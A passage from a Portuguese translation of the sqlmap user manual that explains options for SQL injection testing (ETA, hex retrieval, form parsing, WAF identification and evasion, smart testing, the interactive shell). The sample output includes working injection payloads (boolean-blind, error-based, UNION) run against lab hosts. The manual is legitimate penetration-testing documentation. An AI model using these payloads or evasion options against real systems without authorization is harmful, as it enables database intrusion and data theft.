É possível calcular e mostrar em tempo real o tempo estimado de chegada para recuperar cada
saída de consulta. Isso é mostrado quando a técnica usada para recuperar a saída é qualquer um
dos tipos cegos de injeção SQL.

Exemplo contra um destino Oracle afetado apenas por injeção SQL cego baseada em booleanos:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\


=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19

Então:

100% [===================================================] 64/64


[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9


back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Como você pode ver, sqlmap primeiro calcula o comprimento da saída da consulta, estima o
tempo de chegada, mostra o progresso em porcentagem e conta o número de caracteres de saída
recuperados.

Flush arquivos de sessão


Opção: --flush-session

Como você já está familiarizado com o conceito de um arquivo de sessão da descrição acima, é
bom saber que você pode liberar o conteúdo desse arquivo usando a opção --flush-session .
Desta forma, você pode evitar os mecanismos de cache implementados por padrão no sqlmap.
Outra maneira possível é remover manualmente o (s) arquivo (s) de sessão.

Analisar e testar formulários 'campos de entrada


Interruptor: --forms

Digamos que você quer testar contra injeções SQL um formulário de busca enorme ou você
deseja testar um bypass de login (geralmente apenas dois campos de entrada nomeados como
nome de usuário e senha ), você pode passar para sqlmap a solicitação em um arquivo de
solicitação ( -r ) Os dados POSTed em conformidade ( --data ) ou deixe sqlmap fazê-lo para
você!

Ambas as instâncias acima mencionadas, e muitos outros, aparecem como <form> e


<input> tags em corpos de resposta HTML e é aí que esta opção entra em jogo.

Forneça sqlmap com --forms , bem como a página onde o formulário pode ser -u encontrado
como o URL de destino ( ) e sqlmap irá solicitar o URL de destino para você, analisar os
formulários que tem e guiá-lo através de testar a injeção SQL nesses campos de entrada de
formulário Parâmetros) em vez do URL de destino fornecido.

Ignorar resultados da consulta armazenados no arquivo de sessão


Interruptor: --fresh-queries

Como você já está familiarizado com o conceito de um arquivo de sessão da descrição acima, é
bom saber que você pode ignorar o conteúdo desse arquivo usando a opção --fresh-queries .
Desta forma, você pode manter o arquivo de sessão intocado e para uma execução selecionada,
evite a retomada / restauração de consultas de saída.
Usar funções hexadecimais DBMS para recuperação de dados
Interruptor: --hex

Em casos perdidos, a recuperação de dados não-ASCII requer necessidades especiais. Uma


solução para esse problema é a utilização de funções hexadecimais DBMS. Ativado por essa
opção, os dados são codificados em sua forma hexadecimal antes de serem recuperados e
depois não codificados para sua forma original.

Exemplo contra um destino PostgreSQL:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\


anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

Caminho do diretório de saída personalizado


Opção: --output-dir

Sqlmap por padrão armazena arquivos de sessão e resultado dentro de um subdiretório output .
Caso você queira usar um local diferente, você pode usar esta opção (ex --output-dir=/tmp .).

Analisar mensagens de erro DBMS de páginas de resposta


Interruptor: --parse-errors

Se o aplicativo da Web estiver configurado no modo de depuração para que ele exiba nas
respostas HTTP as mensagens de erro do sistema de gerenciamento de banco de dados back-
end, o sqlmap pode analisá-las e exibi-las para você.

Isso é útil para fins de depuração, como entender por que uma determinada enumeração ou
alternar não funciona - pode ser uma questão de privilégios do usuário da sessão e, neste caso,
você veria uma mensagem de erro DBMS ao longo das linhas de Access denied for user
<SESSION USER> .

Exemplo contra um destino do Microsoft SQL Server:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\


--parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

Salvar opções em um arquivo INI de configuração


Opção: --save

É possível salvar as opções de linha de comando em um arquivo INI de configuração. O arquivo


gerado pode então ser editado e passado para sqlmap com a -c opção como explicado acima.

Atualizar sqlmap
Interruptor: --update

Usando esta opção, você pode atualizar a ferramenta para a versão de desenvolvimento mais
recente diretamente do repositório Git . Você obviamente precisa de acesso à Internet.

Se, por qualquer motivo, esta operação falhar, execute a git pull partir da cópia de trabalho
sqlmap. Ele executará exatamente a mesma operação de switch --update . Se você estiver
executando sqlmap no Windows, você pode usar o cliente SmartGit .

Isso é altamente recomendado antes de relatar qualquer bug para as listas de discussão .

Diversos

Usar mnemônicos curtos


Opção: -z

Poderia tornar-se tedioso para digitar todas as opções desejadas e opções, especialmente para
aqueles que são usados com mais freqüência (por exemplo --batch --random-agent --
ignore-proxy --technique=BEU ). Existe uma maneira mais simples e muito mais curta de como
lidar com esse problema. Em sqlmap ele é chamado de "mnemônicos".

Cada opção e switch podem ser escritos em uma forma -z mnemônica mais curta usando a
opção , separados por um caractere de vírgula ( , ), onde os mnemônicos representam apenas a
primeira parte arbitrariamente escolhida do nome original. Não há mapeamento estrito de opções
e switches para suas respectivas contrapartes encurtadas. Somente a condição necessária é que
não há nenhuma outra opção nem opção que tenha um mesmo prefixo como o desejado.

Exemplo:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\


w.target.com/vuln.php?id=1"

Pode ser escrita (uma de muitas maneiras) em forma mnemônica mais curta como:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\


1"

Outro exemplo:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\


b -T users -u "www.target.com/vuln.php?id=1"

Pode ser escrito em forma mnemônica mais curta, como:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\


com/vuln.php?id=1"

Alerta na detecção de injeção SQL bem-sucedida


Opção: --alert

Definir respostas para perguntas


Opção: --answers

No caso de que o usuário deseja configurar automaticamente as respostas para as perguntas,


mesmo se --batch for usado, usando esta opção, ele pode fazê-lo, fornecendo qualquer parte da
pergunta juntamente com a resposta após um sinal de igualdade. Além disso, as respostas para
perguntas diferentes podem ser divididas com o caractere delimitador , .

Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\


chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

Faça um sinal sonoro quando a injeção SQL for encontrada


Interruptor: --beep

No caso de que o usuário usa o --beep interruptor ele será avisado com um som bipe
imediatamente quando a injeção SQL é encontrado. Isso é especialmente útil quando há uma
grande lista em massa (opção -m ) de URLs de destino a serem testadas.

Limpeza do DBMS de UDFs específicos de sqlmap e tabela (s)


Interruptor: --cleanup

Recomenda-se limpar o sistema de gerenciamento de banco de dados back-end a partir de


tabelas temporárias sqlmap e criou funções definidas pelo usuário quando terminar de assumir o
sistema operacional ou sistema de arquivos subjacente. O Switch --cleanup tentará limpar o
DBMS e o sistema de arquivos sempre que possível.

Verificar dependências
Interruptor: --dependencies

Sqlmap em alguns casos especiais requer a instalação independente de bibliotecas adicionais de


terceiros (por exemplo -d , opções , switch --os-pwn no caso de icmpsh tunelamento, opção -
-auth-type no caso de NTLM tipo de autenticação HTTP, etc.) e advertirá o usuário somente em
casos especiais. Mas, se você quiser verificar independentemente para todas as dependências de
biblioteca de terceiros adicionais você pode usar o switch --dependencies .

$ python sqlmap.py --dependencies


[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

Desativar a coloração da saída do console


Interruptor: --disable-coloring

Sqlmap por padrão usa coloração enquanto escreve para o console. No caso de efeitos
indesejados (por exemplo, aparência de console de códigos de coloração ANSI não interpretados
como \x01\x1b[0;32m\x02[INFO] ), você pode desativar a coloração de saída do console
usando essa opção.

Utilizar os resultados do Google dork a partir do número de página


especificado
Opção: --gpage

O comportamento sqlmap padrão com a opção -g é fazer uma pesquisa no Google e usar os
primeiros 100 URLs resultantes para mais testes de injeção SQL. No entanto, em combinação
com esta opção, você pode especificar com esta opção ( --gpage ) uma página diferente da
primeira para recuperar URLs de destino.

Usar a poluição por parâmetros HTTP


Interruptor: --hpp

HTTP parâmetro poluição (HPP) é um método para ignorar WAF / IPS / IDS mecanismos de
proteção (explicado aqui ) que é particularmente eficaz contra ASP / IIS e ASP.NET/IIS
plataformas. Se você suspeitar que o alvo está por trás dessa proteção, você pode tentar ignorá-
lo usando esse parâmetro.

Faça um teste completo para uma proteção WAF / IPS / IDS


Interruptor: --identify-waf

Sqlmap pode tentar identificar backend WAF / IPS / IDS proteção (se houver) para que o usuário
poderia fazer as etapas apropriadas (por exemplo, usar scripts de adulteração com --tamper ).
Atualmente cerca de 30 produtos diferentes são suportados (Airlock, Barracuda WAF, etc) e seus
respectivos scripts WAF podem ser waf encontrados dentro do diretório.

Exemplo contra um alvo MySQL protegido pelo WAF ModSecurity:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\


dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

Pular a detecção heurística da proteção WAF / IPS / IDS

Interruptor: --skip-waf

Por padrão, o sqlmap envia automaticamente dentro de um dos pedidos iniciais um valor de
parâmetro dummy contendo uma carga útil de injeção SQL deliberadamente "suspeita" (por
exemplo ...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM
information_schema.tables WHERE 2>1 ). Se o alvo responde diferentemente do que para o
pedido original, há uma possibilidade elevada que está sob algum tipo da proteção. Em caso de
qualquer problema, o usuário pode desativar esse mecanismo fornecendo switch --skip-waf .

Imitar smartphone
Interruptor: --mobile

Às vezes, os servidores web expõem diferentes interfaces em relação aos telefones celulares do
que aos computadores de mesa. Nesses casos, você pode impor a utilização de um dos valores
predeterminados de cabeçalho do usuário-agente HTTP do smartphone. Usando esta opção,
sqlmap irá pedir-lhe para escolher um dos smartphones populares que ele vai imitar na corrida
atual.

Exemplo de execução:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile


[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

Trabalhar no modo offline (usar apenas dados da sessão)


Interruptor: --offline

Usando o switch --offline sqlmap usará apenas dados da sessão anterior na enumeração de
dados. Isso basicamente significa que haverá zero tentativas de conexão durante tal execução.

Mostrar a classificação (RP) da página para resultados do Google dork


Interruptor: --page-rank

Executa outros pedidos ao Google quando -g é fornecido e exibe o page rank (PR) para os
resultados do Google dork.

Remover com segurança todo o conteúdo do diretório de saída


Interruptor --purge-output

No caso de que o usuário decida remover com output segurança todo o conteúdo do diretório,
contendo todos os detalhes do alvo das execuções anteriores do sqlmap, ele pode usar o switch
--purge-output . Durante a purga, todos os arquivos de (sub) diretórios na pasta output serão
substituídos com dados aleatórios, truncados, renomeados para nomes aleatórios, (sub)
diretórios serão renomeados para nomes aleatórios também e, finalmente, toda a árvore de
diretório será excluída.

Exemplo de execução:

$ python sqlmap.py --purge-output -v 3


[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

Conduta através de testes somente se heurística (s) positiva (s)


Interruptor --smart

Há casos em que o usuário tem uma grande lista de URLs de destino potenciais (por exemplo,
fornecidos com a opção -m ) e ele quer encontrar um alvo vulnerável o mais rápido possível. Se a
opção --smart for usada, somente os parâmetros com os quais o (s) erro (s) de SGBD (s) podem
ser provocados, estão sendo usados mais em varreduras. Caso contrário, eles são ignorados.

Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\


r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

Selecionar (ou ignorar) testes por cargas e / ou títulos


Opção --test-filter

No caso de você querer filtrar os testes por suas cargas e / ou títulos, você pode usar esta opção.
Por exemplo, se você quiser testar todas as cargas que têm ROW palavra-chave dentro, você pode
usar --test-filter=ROW .

Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\


atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
HAVING clause' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY
x)
---
[...]

Opção --test-skip=TEST

No caso de você querer saltar testes por suas cargas e / ou títulos, você pode usar esta opção.
Por exemplo, se você quiser ignorar todas as cargas que têm BENCHMARK palavra-chave dentro,
você pode usar --test-skip=BENCHMARK .

Shell interativo do sqlmap


Interruptor: --sqlmap-shell

Usando o switch --sqlmap-shell user será apresentado com o shell interativo sqlmap que tem
o histórico de todas as execuções anteriores com opções usadas e / ou switches:

$ python sqlmap.py --sqlmap-shell


sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
_
___ ___| |_____ ___ ___ {1.0-dev-2188502}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL


[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 5707=5707

Type: UNION query


Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
_
___ ___| |_____ ___ ___ {1.0-dev-2188502}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql'


[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 5707=5707

Type: UNION query


Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
